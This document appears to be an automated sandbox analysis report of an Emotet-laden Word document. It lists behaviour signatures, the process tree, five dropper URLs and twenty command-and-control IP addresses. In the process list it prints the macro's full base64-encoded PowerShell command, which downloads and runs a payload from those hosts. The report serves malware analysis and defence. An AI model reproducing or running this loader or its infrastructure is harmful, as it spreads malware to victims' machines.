Analysis

  • max time kernel
    146s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    03/08/2020, 07:22

General

  • Target
    DOC_RS8771626875IU.doc
  • Size 175KB
  • Sample200803-hwdvxhadcx
  • SHA256 be25a159797aeb8dd13c31aa586f331f8c98cd83b54dd4ba5ec2fff63b5ff246
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://rikotut.net/rikotut4/vka_spx_tlz/

  • exe.dropper

    http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/

  • exe.dropper

    http://rivcon.net/images/ze1_r8_3jdpf63/

  • exe.dropper

    http://rollingturtle.com/music/isef_vmr_p/

  • exe.dropper

    http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/

Extracted

Family
  • emotet

C2
  • 142.105.151.124:443

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 71.208.216.10:80

  • 108.48.41.69:80

  • 83.110.223.58:443

  • 210.165.156.91:80

  • 104.131.44.150:8080

  • 104.236.246.93:8080

  • 5.39.91.110:7080

  • 209.141.54.221:8080

  • 209.182.216.177:443

  • 153.126.210.205:7080

  • 91.211.88.52:7080

  • 180.92.239.110:8080

  • 183.101.175.193:80

  • 162.241.92.219:8080

  • 87.106.139.101:8080

  • 114.146.222.200:80

  • 65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_RS8771626875IU.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:3056
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    PID:2484
  • C:\Users\Admin\174.exe
    C:\Users\Admin\174.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:3784
    • C:\Windows\SysWOW64\driverquery\tsgqec.exe
      "C:\Windows\SysWOW64\driverquery\tsgqec.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:3732

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/3056-3-0x00000287C7B56000-0x00000287C7B5E000-memory.dmp

        memory/3732-12-0x0000000000650000-0x000000000065C000-memory.dmp

        memory/3784-9-0x0000000000500000-0x000000000050C000-memory.dmp